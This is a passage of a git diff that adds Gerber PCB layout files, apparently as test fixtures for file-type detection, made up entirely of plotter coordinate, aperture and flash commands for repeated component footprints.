+X0054000Y0029000D03*
+X0059500Y0029000D03*
+X0059500Y0017000D03*
+X0071500Y0017000D03*
+X0077000Y0017000D03*
+X0077000Y0021000D03*
+X0077000Y0025000D03*
+X0077000Y0029000D03*
+X0071500Y0029000D03*
+X0011000Y0063000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0068510D02*
+X0023540Y0081490D01*
+X0023540Y0068510D02*
+X0016460Y0068510D01*
+X0016460Y0081490D01*
+X0023540Y0081490D01*
+X0023540Y0070860D02*
+X0016460Y0070860D01*
+X0016460Y0073210D02*
+X0023540Y0073210D01*
+X0023540Y0075560D02*
+X0016460Y0075560D01*
+X0016460Y0077910D02*
+X0023540Y0077910D01*
+X0023540Y0080260D02*
+X0016460Y0080260D01*
+X0033460Y0081490D02*
+X0033460Y0068510D01*
+X0033460Y0081490D02*
+X0040540Y0081490D01*
+X0040540Y0068510D01*
+X0033460Y0068510D01*
+X0033460Y0070860D02*
+X0040540Y0070860D01*
+X0040540Y0073210D02*
+X0033460Y0073210D01*
+X0033460Y0075560D02*
+X0040540Y0075560D01*
+X0040540Y0077910D02*
+X0033460Y0077910D01*
+X0033460Y0080260D02*
+X0040540Y0080260D01*
+D17*
+X0017000Y0069000D03*
+X0017000Y0073000D03*
+X0017000Y0077000D03*
+X0017000Y0081000D03*
+X0022500Y0081000D03*
+X0022500Y0069000D03*
+X0034500Y0069000D03*
+X0040000Y0069000D03*
+X0040000Y0073000D03*
+X0040000Y0077000D03*
+X0040000Y0081000D03*
+X0034500Y0081000D03*
+X0048000Y0037000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0042510D02*
+X0060540Y0055490D01*
+X0060540Y0042510D02*
+X0053460Y0042510D01*
+X0053460Y0055490D01*
+X0060540Y0055490D01*
+X0060540Y0044860D02*
+X0053460Y0044860D01*
+X0053460Y0047210D02*
+X0060540Y0047210D01*
+X0060540Y0049560D02*
+X0053460Y0049560D01*
+X0053460Y0051910D02*
+X0060540Y0051910D01*
+X0060540Y0054260D02*
+X0053460Y0054260D01*
+X0070460Y0055490D02*
+X0070460Y0042510D01*
+X0070460Y0055490D02*
+X0077540Y0055490D01*
+X0077540Y0042510D01*
+X0070460Y0042510D01*
+X0070460Y0044860D02*
+X0077540Y0044860D01*
+X0077540Y0047210D02*
+X0070460Y0047210D01*
+X0070460Y0049560D02*
+X0077540Y0049560D01*
+X0077540Y0051910D02*
+X0070460Y0051910D01*
+X0070460Y0054260D02*
+X0077540Y0054260D01*
+D17*
+X0054000Y0043000D03*
+X0054000Y0047000D03*
+X0054000Y0051000D03*
+X0054000Y0055000D03*
+X0059500Y0055000D03*
+X0059500Y0043000D03*
+X0071500Y0043000D03*
+X0077000Y0043000D03*
+X0077000Y0047000D03*
+X0077000Y0051000D03*
+X0077000Y0055000D03*
+X0071500Y0055000D03*
+X0011000Y0089000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0094510D02*
+X0023540Y0107490D01*
+X0023540Y0094510D02*
+X0016460Y0094510D01*
+X0016460Y0107490D01*
+X0023540Y0107490D01*
+X0023540Y0096860D02*
+X0016460Y0096860D01*
+X0016460Y0099210D02*
+X0023540Y0099210D01*
+X0023540Y0101560D02*
+X0016460Y0101560D01*
+X0016460Y0103910D02*
+X0023540Y0103910D01*
+X0023540Y0106260D02*
+X0016460Y0106260D01*
+X0033460Y0107490D02*
+X0033460Y0094510D01*
+X0033460Y0107490D02*
+X0040540Y0107490D01*
+X0040540Y0094510D01*
+X0033460Y0094510D01*
+X0033460Y0096860D02*
+X0040540Y0096860D01*
+X0040540Y0099210D02*
+X0033460Y0099210D01*
+X0033460Y0101560D02*
+X0040540Y0101560D01*
+X0040540Y0103910D02*
+X0033460Y0103910D01*
+X0033460Y0106260D02*
+X0040540Y0106260D01*
+D17*
+X0017000Y0095000D03*
+X0017000Y0099000D03*
+X0017000Y0103000D03*
+X0017000Y0107000D03*
+X0022500Y0107000D03*
+X0022500Y0095000D03*
+X0034500Y0095000D03*
+X0040000Y0095000D03*
+X0040000Y0099000D03*
+X0040000Y0103000D03*
+X0040000Y0107000D03*
+X0034500Y0107000D03*
+X0048000Y0063000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0068510D02*
+X0060540Y0081490D01*
+X0060540Y0068510D02*
+X0053460Y0068510D01*
+X0053460Y0081490D01*
+X0060540Y0081490D01*
+X0060540Y0070860D02*
+X0053460Y0070860D01*
+X0053460Y0073210D02*
+X0060540Y0073210D01*
+X0060540Y0075560D02*
+X0053460Y0075560D01*
+X0053460Y0077910D02*
+X0060540Y0077910D01*
+X0060540Y0080260D02*
+X0053460Y0080260D01*
+X0070460Y0081490D02*
+X0070460Y0068510D01*
+X0070460Y0081490D02*
+X0077540Y0081490D01*
+X0077540Y0068510D01*
+X0070460Y0068510D01*
+X0070460Y0070860D02*
+X0077540Y0070860D01*
+X0077540Y0073210D02*
+X0070460Y0073210D01*
+X0070460Y0075560D02*
+X0077540Y0075560D01*
+X0077540Y0077910D02*
+X0070460Y0077910D01*
+X0070460Y0080260D02*
+X0077540Y0080260D01*
+D17*
+X0054000Y0069000D03*
+X0054000Y0073000D03*
+X0054000Y0077000D03*
+X0054000Y0081000D03*
+X0059500Y0081000D03*
+X0059500Y0069000D03*
+X0071500Y0069000D03*
+X0077000Y0069000D03*
+X0077000Y0073000D03*
+X0077000Y0077000D03*
+X0077000Y0081000D03*
+X0071500Y0081000D03*
+X0048000Y0089000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0094510D02*
+X0060540Y0107490D01*
+X0060540Y0094510D02*
+X0053460Y0094510D01*
+X0053460Y0107490D01*
+X0060540Y0107490D01*
+X0060540Y0096860D02*
+X0053460Y0096860D01*
+X0053460Y0099210D02*
+X0060540Y0099210D01*
+X0060540Y0101560D02*
+X0053460Y0101560D01*
+X0053460Y0103910D02*
+X0060540Y0103910D01*
+X0060540Y0106260D02*
+X0053460Y0106260D01*
+X0070460Y0107490D02*
+X0070460Y0094510D01*
+X0070460Y0107490D02*
+X0077540Y0107490D01*
+X0077540Y0094510D01*
+X0070460Y0094510D01*
+X0070460Y0096860D02*
+X0077540Y0096860D01*
+X0077540Y0099210D02*
+X0070460Y0099210D01*
+X0070460Y0101560D02*
+X0077540Y0101560D01*
+X0077540Y0103910D02*
+X0070460Y0103910D01*
+X0070460Y0106260D02*
+X0077540Y0106260D01*
+D17*
+X0054000Y0095000D03*
+X0054000Y0099000D03*
+X0054000Y0103000D03*
+X0054000Y0107000D03*
+X0059500Y0107000D03*
+X0059500Y0095000D03*
+X0071500Y0095000D03*
+X0077000Y0095000D03*
+X0077000Y0099000D03*
+X0077000Y0103000D03*
+X0077000Y0107000D03*
+X0071500Y0107000D03*
+X0011000Y0115000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0120510D02*
+X0023540Y0133490D01*
+X0023540Y0120510D02*
+X0016460Y0120510D01*
+X0016460Y0133490D01*
+X0023540Y0133490D01*
+X0023540Y0122860D02*
+X0016460Y0122860D01*
+X0016460Y0125210D02*
+X0023540Y0125210D01*
+X0023540Y0127560D02*
+X0016460Y0127560D01*
+X0016460Y0129910D02*
+X0023540Y0129910D01*
+X0023540Y0132260D02*
+X0016460Y0132260D01*
+X0033460Y0133490D02*
+X0033460Y0120510D01*
+X0033460Y0133490D02*
+X0040540Y0133490D01*
+X0040540Y0120510D01*
+X0033460Y0120510D01*
+X0033460Y0122860D02*
+X0040540Y0122860D01*
+X0040540Y0125210D02*
+X0033460Y0125210D01*
+X0033460Y0127560D02*
+X0040540Y0127560D01*
+X0040540Y0129910D02*
+X0033460Y0129910D01*
+X0033460Y0132260D02*
+X0040540Y0132260D01*
+D17*
+X0017000Y0121000D03*
+X0017000Y0125000D03*
+X0017000Y0129000D03*
+X0017000Y0133000D03*
+X0022500Y0133000D03*
+X0022500Y0121000D03*
+X0034500Y0121000D03*
+X0040000Y0121000D03*
+X0040000Y0125000D03*
+X0040000Y0129000D03*
+X0040000Y0133000D03*
+X0034500Y0133000D03*
+X0048000Y0115000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0120510D02*
+X0060540Y0133490D01*
+X0060540Y0120510D02*
+X0053460Y0120510D01*
+X0053460Y0133490D01*
+X0060540Y0133490D01*
+X0060540Y0122860D02*
+X0053460Y0122860D01*
+X0053460Y0125210D02*
+X0060540Y0125210D01*
+X0060540Y0127560D02*
+X0053460Y0127560D01*
+X0053460Y0129910D02*
+X0060540Y0129910D01*
+X0060540Y0132260D02*
+X0053460Y0132260D01*
+X0070460Y0133490D02*
+X0070460Y0120510D01*
+X0070460Y0133490D02*
+X0077540Y0133490D01*
+X0077540Y0120510D01*
+X0070460Y0120510D01*
+X0070460Y0122860D02*
+X0077540Y0122860D01*
+X0077540Y0125210D02*
+X0070460Y0125210D01*
+X0070460Y0127560D02*
+X0077540Y0127560D01*
+X0077540Y0129910D02*
+X0070460Y0129910D01*
+X0070460Y0132260D02*
+X0077540Y0132260D01*
+D17*
+X0054000Y0121000D03*
+X0054000Y0125000D03*
+X0054000Y0129000D03*
+X0054000Y0133000D03*
+X0059500Y0133000D03*
+X0059500Y0121000D03*
+X0071500Y0121000D03*
+X0077000Y0121000D03*
+X0077000Y0125000D03*
+X0077000Y0129000D03*
+X0077000Y0133000D03*
+X0071500Y0133000D03*
+M02*
diff --git a/test/fixtures/Generic/sol/Gerber Image/gerber2.sol b/test/fixtures/Generic/sol/Gerber Image/gerber2.sol
new file mode 100644
index 0000000000..0fb7848214
--- /dev/null
+++ b/test/fixtures/Generic/sol/Gerber Image/gerber2.sol	
@@ -0,0 +1,4942 @@
+G75*
+G70*
+%OFA0B0*%
+%FSLAX25Y25*%
+%IPPOS*%
+%LPD*%
+%AMOC8*
+5,1,8,0,0,1.08239X$1,22.5*
+%
+%ADD16C,0.02360*%
+%ADD17C,0.03570*%
+X0011000Y0011000D02*
+G75*
+%LPD*%
+X0139000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0023540D02*
+X0120510Y0023540D01*
+X0133490Y0023540D02*
+X0133490Y0016460D01*
+X0120510Y0016460D01*
+X0120510Y0023540D01*
+X0131140Y0023540D02*
+X0131140Y0016460D01*
+X0128790Y0016460D02*
+X0128790Y0023540D01*
+X0126440Y0023540D02*
+X0126440Y0016460D01*
+X0124090Y0016460D02*
+X0124090Y0023540D01*
+X0121740Y0023540D02*
+X0121740Y0016460D01*
+X0120510Y0033460D02*
+X0133490Y0033460D01*
+X0120510Y0033460D02*
+X0120510Y0040540D01*
+X0133490Y0040540D01*
+X0133490Y0033460D01*
+X0131140Y0033460D02*
+X0131140Y0040540D01*
+X0128790Y0040540D02*
+X0128790Y0033460D01*
+X0126440Y0033460D02*
+X0126440Y0040540D01*
+X0124090Y0040540D02*
+X0124090Y0033460D01*
+X0121740Y0033460D02*
+X0121740Y0040540D01*
+D17*
+X0133000Y0017000D03*
+X0129000Y0017000D03*
+X0125000Y0017000D03*
+X0121000Y0017000D03*
+X0121000Y0022500D03*
+X0133000Y0022500D03*
+X0133000Y0034500D03*
+X0133000Y0040000D03*
+X0129000Y0040000D03*
+X0125000Y0040000D03*
+X0121000Y0040000D03*
+X0121000Y0034500D03*
+X0113000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0023540D02*
+X0094510Y0023540D01*
+X0107490Y0023540D02*
+X0107490Y0016460D01*
+X0094510Y0016460D01*
+X0094510Y0023540D01*
+X0105140Y0023540D02*
+X0105140Y0016460D01*
+X0102790Y0016460D02*
+X0102790Y0023540D01*
+X0100440Y0023540D02*
+X0100440Y0016460D01*
+X0098090Y0016460D02*
+X0098090Y0023540D01*
+X0095740Y0023540D02*
+X0095740Y0016460D01*
+X0094510Y0033460D02*
+X0107490Y0033460D01*
+X0094510Y0033460D02*
+X0094510Y0040540D01*
+X0107490Y0040540D01*
+X0107490Y0033460D01*
+X0105140Y0033460D02*
+X0105140Y0040540D01*
+X0102790Y0040540D02*
+X0102790Y0033460D01*
+X0100440Y0033460D02*
+X0100440Y0040540D01*
+X0098090Y0040540D02*
+X0098090Y0033460D01*
+X0095740Y0033460D02*
+X0095740Y0040540D01*
+D17*
+X0107000Y0017000D03*
+X0103000Y0017000D03*
+X0099000Y0017000D03*
+X0095000Y0017000D03*
+X0095000Y0022500D03*
+X0107000Y0022500D03*
+X0107000Y0034500D03*
+X0107000Y0040000D03*
+X0103000Y0040000D03*
+X0099000Y0040000D03*
+X0095000Y0040000D03*
+X0095000Y0034500D03*
+X0139000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0060540D02*
+X0120510Y0060540D01*
+X0133490Y0060540D02*
+X0133490Y0053460D01*
+X0120510Y0053460D01*
+X0120510Y0060540D01*
+X0131140Y0060540D02*
+X0131140Y0053460D01*
+X0128790Y0053460D02*
+X0128790Y0060540D01*
+X0126440Y0060540D02*
+X0126440Y0053460D01*
+X0124090Y0053460D02*
+X0124090Y0060540D01*
+X0121740Y0060540D02*
+X0121740Y0053460D01*
+X0120510Y0070460D02*
+X0133490Y0070460D01*
+X0120510Y0070460D02*
+X0120510Y0077540D01*
+X0133490Y0077540D01*
+X0133490Y0070460D01*
+X0131140Y0070460D02*
+X0131140Y0077540D01*
+X0128790Y0077540D02*
+X0128790Y0070460D01*
+X0126440Y0070460D02*
+X0126440Y0077540D01*
+X0124090Y0077540D02*
+X0124090Y0070460D01*
+X0121740Y0070460D02*
+X0121740Y0077540D01*
+D17*
+X0133000Y0054000D03*
+X0129000Y0054000D03*
+X0125000Y0054000D03*
+X0121000Y0054000D03*
+X0121000Y0059500D03*
+X0133000Y0059500D03*
+X0133000Y0071500D03*
+X0133000Y0077000D03*
+X0129000Y0077000D03*
+X0125000Y0077000D03*
+X0121000Y0077000D03*
+X0121000Y0071500D03*
+X0087000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0023540D02*
+X0068510Y0023540D01*
+X0081490Y0023540D02*
+X0081490Y0016460D01*
+X0068510Y0016460D01*
+X0068510Y0023540D01*
+X0079140Y0023540D02*
+X0079140Y0016460D01*
+X0076790Y0016460D02*
+X0076790Y0023540D01*
+X0074440Y0023540D02*
+X0074440Y0016460D01*
+X0072090Y0016460D02*
+X0072090Y0023540D01*
+X0069740Y0023540D02*
+X0069740Y0016460D01*
+X0068510Y0033460D02*
+X0081490Y0033460D01*
+X0068510Y0033460D02*
+X0068510Y0040540D01*
+X0081490Y0040540D01*
+X0081490Y0033460D01*
+X0079140Y0033460D02*
+X0079140Y0040540D01*
+X0076790Y0040540D02*
+X0076790Y0033460D01*
+X0074440Y0033460D02*
+X0074440Y0040540D01*
+X0072090Y0040540D02*
+X0072090Y0033460D01*
+X0069740Y0033460D02*
+X0069740Y0040540D01*
+D17*
+X0081000Y0017000D03*
+X0077000Y0017000D03*
+X0073000Y0017000D03*
+X0069000Y0017000D03*
+X0069000Y0022500D03*
+X0081000Y0022500D03*
+X0081000Y0034500D03*
+X0081000Y0040000D03*
+X0077000Y0040000D03*
+X0073000Y0040000D03*
+X0069000Y0040000D03*
+X0069000Y0034500D03*
+X0113000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0060540D02*
+X0094510Y0060540D01*
+X0107490Y0060540D02*
+X0107490Y0053460D01*
+X0094510Y0053460D01*
+X0094510Y0060540D01*
+X0105140Y0060540D02*
+X0105140Y0053460D01*
+X0102790Y0053460D02*
+X0102790Y0060540D01*
+X0100440Y0060540D02*
+X0100440Y0053460D01*
+X0098090Y0053460D02*
+X0098090Y0060540D01*
+X0095740Y0060540D02*
+X0095740Y0053460D01*
+X0094510Y0070460D02*
+X0107490Y0070460D01*
+X0094510Y0070460D02*
+X0094510Y0077540D01*
+X0107490Y0077540D01*
+X0107490Y0070460D01*
+X0105140Y0070460D02*
+X0105140Y0077540D01*
+X0102790Y0077540D02*
+X0102790Y0070460D01*
+X0100440Y0070460D02*
+X0100440Y0077540D01*
+X0098090Y0077540D02*
+X0098090Y0070460D01*
+X0095740Y0070460D02*
+X0095740Y0077540D01*
+D17*
+X0107000Y0054000D03*
+X0103000Y0054000D03*
+X0099000Y0054000D03*
+X0095000Y0054000D03*
+X0095000Y0059500D03*
+X0107000Y0059500D03*
+X0107000Y0071500D03*
+X0107000Y0077000D03*
+X0103000Y0077000D03*
+X0099000Y0077000D03*
+X0095000Y0077000D03*
+X0095000Y0071500D03*
+X0061000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0023540D02*
+X0042510Y0023540D01*
+X0055490Y0023540D02*
+X0055490Y0016460D01*
+X0042510Y0016460D01*
+X0042510Y0023540D01*
+X0053140Y0023540D02*
+X0053140Y0016460D01*
+X0050790Y0016460D02*
+X0050790Y0023540D01*
+X0048440Y0023540D02*
+X0048440Y0016460D01*
+X0046090Y0016460D02*
+X0046090Y0023540D01*
+X0043740Y0023540D02*
+X0043740Y0016460D01*
+X0042510Y0033460D02*
+X0055490Y0033460D01*
+X0042510Y0033460D02*
+X0042510Y0040540D01*
+X0055490Y0040540D01*
+X0055490Y0033460D01*
+X0053140Y0033460D02*
+X0053140Y0040540D01*
+X0050790Y0040540D02*
+X0050790Y0033460D01*
+X0048440Y0033460D02*
+X0048440Y0040540D01*
+X0046090Y0040540D02*
+X0046090Y0033460D01*
+X0043740Y0033460D02*
+X0043740Y0040540D01*
+D17*
+X0055000Y0017000D03*
+X0051000Y0017000D03*
+X0047000Y0017000D03*
+X0043000Y0017000D03*
+X0043000Y0022500D03*
+X0055000Y0022500D03*
+X0055000Y0034500D03*
+X0055000Y0040000D03*
+X0051000Y0040000D03*
+X0047000Y0040000D03*
+X0043000Y0040000D03*
+X0043000Y0034500D03*
+X0087000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0060540D02*
+X0068510Y0060540D01*
+X0081490Y0060540D02*
+X0081490Y0053460D01*
+X0068510Y0053460D01*
+X0068510Y0060540D01*
+X0079140Y0060540D02*
+X0079140Y0053460D01*
+X0076790Y0053460D02*
+X0076790Y0060540D01*
+X0074440Y0060540D02*
+X0074440Y0053460D01*
+X0072090Y0053460D02*
+X0072090Y0060540D01*
+X0069740Y0060540D02*
+X0069740Y0053460D01*
+X0068510Y0070460D02*
+X0081490Y0070460D01*
+X0068510Y0070460D02*
+X0068510Y0077540D01*
+X0081490Y0077540D01*
+X0081490Y0070460D01*
+X0079140Y0070460D02*
+X0079140Y0077540D01*
+X0076790Y0077540D02*
+X0076790Y0070460D01*
+X0074440Y0070460D02*
+X0074440Y0077540D01*
+X0072090Y0077540D02*
+X0072090Y0070460D01*
+X0069740Y0070460D02*
+X0069740Y0077540D01*
+D17*
+X0081000Y0054000D03*
+X0077000Y0054000D03*
+X0073000Y0054000D03*
+X0069000Y0054000D03*
+X0069000Y0059500D03*
+X0081000Y0059500D03*
+X0081000Y0071500D03*
+X0081000Y0077000D03*
+X0077000Y0077000D03*
+X0073000Y0077000D03*
+X0069000Y0077000D03*
+X0069000Y0071500D03*
+X0061000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0060540D02*
+X0042510Y0060540D01*
+X0055490Y0060540D02*
+X0055490Y0053460D01*
+X0042510Y0053460D01*
+X0042510Y0060540D01*
+X0053140Y0060540D02*
+X0053140Y0053460D01*
+X0050790Y0053460D02*
+X0050790Y0060540D01*
+X0048440Y0060540D02*
+X0048440Y0053460D01*
+X0046090Y0053460D02*
+X0046090Y0060540D01*
+X0043740Y0060540D02*
+X0043740Y0053460D01*
+X0042510Y0070460D02*
+X0055490Y0070460D01*
+X0042510Y0070460D02*
+X0042510Y0077540D01*
+X0055490Y0077540D01*
+X0055490Y0070460D01*
+X0053140Y0070460D02*
+X0053140Y0077540D01*
+X0050790Y0077540D02*
+X0050790Y0070460D01*
+X0048440Y0070460D02*
+X0048440Y0077540D01*
+X0046090Y0077540D02*
+X0046090Y0070460D01*
+X0043740Y0070460D02*
+X0043740Y0077540D01*
+D17*
+X0055000Y0054000D03*
+X0051000Y0054000D03*
+X0047000Y0054000D03*
+X0043000Y0054000D03*
+X0043000Y0059500D03*
+X0055000Y0059500D03*
+X0055000Y0071500D03*
+X0055000Y0077000D03*
+X0051000Y0077000D03*
+X0047000Y0077000D03*
+X0043000Y0077000D03*
+X0043000Y0071500D03*
+X0035000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0023540D02*
+X0016510Y0023540D01*
+X0029490Y0023540D02*
+X0029490Y0016460D01*
+X0016510Y0016460D01*
+X0016510Y0023540D01*
+X0027140Y0023540D02*
+X0027140Y0016460D01*
+X0024790Y0016460D02*
+X0024790Y0023540D01*
+X0022440Y0023540D02*
+X0022440Y0016460D01*
+X0020090Y0016460D02*
+X0020090Y0023540D01*
+X0017740Y0023540D02*
+X0017740Y0016460D01*
+X0016510Y0033460D02*
+X0029490Y0033460D01*
+X0016510Y0033460D02*
+X0016510Y0040540D01*
+X0029490Y0040540D01*
+X0029490Y0033460D01*
+X0027140Y0033460D02*
+X0027140Y0040540D01*
+X0024790Y0040540D02*
+X0024790Y0033460D01*
+X0022440Y0033460D02*
+X0022440Y0040540D01*
+X0020090Y0040540D02*
+X0020090Y0033460D01*
+X0017740Y0033460D02*
+X0017740Y0040540D01*
+D17*
+X0029000Y0017000D03*
+X0025000Y0017000D03*
+X0021000Y0017000D03*
+X0017000Y0017000D03*
+X0017000Y0022500D03*
+X0029000Y0022500D03*
+X0029000Y0034500D03*
+X0029000Y0040000D03*
+X0025000Y0040000D03*
+X0021000Y0040000D03*
+X0017000Y0040000D03*
+X0017000Y0034500D03*
+X0035000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0060540D02*
+X0016510Y0060540D01*
+X0029490Y0060540D02*
+X0029490Y0053460D01*
+X0016510Y0053460D01*
+X0016510Y0060540D01*
+X0027140Y0060540D02*
+X0027140Y0053460D01*
+X0024790Y0053460D02*
+X0024790Y0060540D01*
+X0022440Y0060540D02*
+X0022440Y0053460D01*
+X0020090Y0053460D02*
+X0020090Y0060540D01*
+X0017740Y0060540D02*
+X0017740Y0053460D01*
+X0016510Y0070460D02*
+X0029490Y0070460D01*
+X0016510Y0070460D02*
+X0016510Y0077540D01*
+X0029490Y0077540D01*
+X0029490Y0070460D01*
+X0027140Y0070460D02*
+X0027140Y0077540D01*
+X0024790Y0077540D02*
+X0024790Y0070460D01*
+X0022440Y0070460D02*
+X0022440Y0077540D01*
+X0020090Y0077540D02*
+X0020090Y0070460D01*
+X0017740Y0070460D02*
+X0017740Y0077540D01*
+D17*
+X0029000Y0054000D03*
+X0025000Y0054000D03*
+X0021000Y0054000D03*
+X0017000Y0054000D03*
+X0017000Y0059500D03*
+X0029000Y0059500D03*
+X0029000Y0071500D03*
+X0029000Y0077000D03*
+X0025000Y0077000D03*
+X0021000Y0077000D03*
+X0017000Y0077000D03*
+X0017000Y0071500D03*
+X0011000Y0085000D02*
+G75*
+%LPD*%
+X0139000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0097540D02*
+X0120510Y0097540D01*
+X0133490Y0097540D02*
+X0133490Y0090460D01*
+X0120510Y0090460D01*
+X0120510Y0097540D01*
+X0131140Y0097540D02*
+X0131140Y0090460D01*
+X0128790Y0090460D02*
+X0128790Y0097540D01*
+X0126440Y0097540D02*
+X0126440Y0090460D01*
+X0124090Y0090460D02*
+X0124090Y0097540D01*
+X0121740Y0097540D02*
+X0121740Y0090460D01*
+X0120510Y0107460D02*
+X0133490Y0107460D01*
+X0120510Y0107460D02*
+X0120510Y0114540D01*
+X0133490Y0114540D01*
+X0133490Y0107460D01*
+X0131140Y0107460D02*
+X0131140Y0114540D01*
+X0128790Y0114540D02*
+X0128790Y0107460D01*
+X0126440Y0107460D02*
+X0126440Y0114540D01*
+X0124090Y0114540D02*
+X0124090Y0107460D01*
+X0121740Y0107460D02*
+X0121740Y0114540D01*
+D17*
+X0133000Y0091000D03*
+X0129000Y0091000D03*
+X0125000Y0091000D03*
+X0121000Y0091000D03*
+X0121000Y0096500D03*
+X0133000Y0096500D03*
+X0133000Y0108500D03*
+X0133000Y0114000D03*
+X0129000Y0114000D03*
+X0125000Y0114000D03*
+X0121000Y0114000D03*
+X0121000Y0108500D03*
+X0113000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0097540D02*
+X0094510Y0097540D01*
+X0107490Y0097540D02*
+X0107490Y0090460D01*
+X0094510Y0090460D01*
+X0094510Y0097540D01*
+X0105140Y0097540D02*
+X0105140Y0090460D01*
+X0102790Y0090460D02*
+X0102790Y0097540D01*
+X0100440Y0097540D02*
+X0100440Y0090460D01*
+X0098090Y0090460D02*
+X0098090Y0097540D01*
+X0095740Y0097540D02*
+X0095740Y0090460D01*
+X0094510Y0107460D02*
+X0107490Y0107460D01*
+X0094510Y0107460D02*
+X0094510Y0114540D01*
+X0107490Y0114540D01*
+X0107490Y0107460D01*
+X0105140Y0107460D02*
+X0105140Y0114540D01*
+X0102790Y0114540D02*
+X0102790Y0107460D01*
+X0100440Y0107460D02*
+X0100440Y0114540D01*
+X0098090Y0114540D02*
+X0098090Y0107460D01*
+X0095740Y0107460D02*
+X0095740Y0114540D01*
+D17*
+X0107000Y0091000D03*
+X0103000Y0091000D03*
+X0099000Y0091000D03*
+X0095000Y0091000D03*
+X0095000Y0096500D03*
+X0107000Y0096500D03*
+X0107000Y0108500D03*
+X0107000Y0114000D03*
+X0103000Y0114000D03*
+X0099000Y0114000D03*
+X0095000Y0114000D03*
+X0095000Y0108500D03*
+X0139000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0133490Y0134540D02*
+X0120510Y0134540D01*
+X0133490Y0134540D02*
+X0133490Y0127460D01*
+X0120510Y0127460D01*
+X0120510Y0134540D01*
+X0131140Y0134540D02*
+X0131140Y0127460D01*
+X0128790Y0127460D02*
+X0128790Y0134540D01*
+X0126440Y0134540D02*
+X0126440Y0127460D01*
+X0124090Y0127460D02*
+X0124090Y0134540D01*
+X0121740Y0134540D02*
+X0121740Y0127460D01*
+X0120510Y0144460D02*
+X0133490Y0144460D01*
+X0120510Y0144460D02*
+X0120510Y0151540D01*
+X0133490Y0151540D01*
+X0133490Y0144460D01*
+X0131140Y0144460D02*
+X0131140Y0151540D01*
+X0128790Y0151540D02*
+X0128790Y0144460D01*
+X0126440Y0144460D02*
+X0126440Y0151540D01*
+X0124090Y0151540D02*
+X0124090Y0144460D01*
+X0121740Y0144460D02*
+X0121740Y0151540D01*
+D17*
+X0133000Y0128000D03*
+X0129000Y0128000D03*
+X0125000Y0128000D03*
+X0121000Y0128000D03*
+X0121000Y0133500D03*
+X0133000Y0133500D03*
+X0133000Y0145500D03*
+X0133000Y0151000D03*
+X0129000Y0151000D03*
+X0125000Y0151000D03*
+X0121000Y0151000D03*
+X0121000Y0145500D03*
+X0087000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0097540D02*
+X0068510Y0097540D01*
+X0081490Y0097540D02*
+X0081490Y0090460D01*
+X0068510Y0090460D01*
+X0068510Y0097540D01*
+X0079140Y0097540D02*
+X0079140Y0090460D01*
+X0076790Y0090460D02*
+X0076790Y0097540D01*
+X0074440Y0097540D02*
+X0074440Y0090460D01*
+X0072090Y0090460D02*
+X0072090Y0097540D01*
+X0069740Y0097540D02*
+X0069740Y0090460D01*
+X0068510Y0107460D02*
+X0081490Y0107460D01*
+X0068510Y0107460D02*
+X0068510Y0114540D01*
+X0081490Y0114540D01*
+X0081490Y0107460D01*
+X0079140Y0107460D02*
+X0079140Y0114540D01*
+X0076790Y0114540D02*
+X0076790Y0107460D01*
+X0074440Y0107460D02*
+X0074440Y0114540D01*
+X0072090Y0114540D02*
+X0072090Y0107460D01*
+X0069740Y0107460D02*
+X0069740Y0114540D01*
+D17*
+X0081000Y0091000D03*
+X0077000Y0091000D03*
+X0073000Y0091000D03*
+X0069000Y0091000D03*
+X0069000Y0096500D03*
+X0081000Y0096500D03*
+X0081000Y0108500D03*
+X0081000Y0114000D03*
+X0077000Y0114000D03*
+X0073000Y0114000D03*
+X0069000Y0114000D03*
+X0069000Y0108500D03*
+X0113000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0107490Y0134540D02*
+X0094510Y0134540D01*
+X0107490Y0134540D02*
+X0107490Y0127460D01*
+X0094510Y0127460D01*
+X0094510Y0134540D01*
+X0105140Y0134540D02*
+X0105140Y0127460D01*
+X0102790Y0127460D02*
+X0102790Y0134540D01*
+X0100440Y0134540D02*
+X0100440Y0127460D01*
+X0098090Y0127460D02*
+X0098090Y0134540D01*
+X0095740Y0134540D02*
+X0095740Y0127460D01*
+X0094510Y0144460D02*
+X0107490Y0144460D01*
+X0094510Y0144460D02*
+X0094510Y0151540D01*
+X0107490Y0151540D01*
+X0107490Y0144460D01*
+X0105140Y0144460D02*
+X0105140Y0151540D01*
+X0102790Y0151540D02*
+X0102790Y0144460D01*
+X0100440Y0144460D02*
+X0100440Y0151540D01*
+X0098090Y0151540D02*
+X0098090Y0144460D01*
+X0095740Y0144460D02*
+X0095740Y0151540D01*
+D17*
+X0107000Y0128000D03*
+X0103000Y0128000D03*
+X0099000Y0128000D03*
+X0095000Y0128000D03*
+X0095000Y0133500D03*
+X0107000Y0133500D03*
+X0107000Y0145500D03*
+X0107000Y0151000D03*
+X0103000Y0151000D03*
+X0099000Y0151000D03*
+X0095000Y0151000D03*
+X0095000Y0145500D03*
+X0061000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0097540D02*
+X0042510Y0097540D01*
+X0055490Y0097540D02*
+X0055490Y0090460D01*
+X0042510Y0090460D01*
+X0042510Y0097540D01*
+X0053140Y0097540D02*
+X0053140Y0090460D01*
+X0050790Y0090460D02*
+X0050790Y0097540D01*
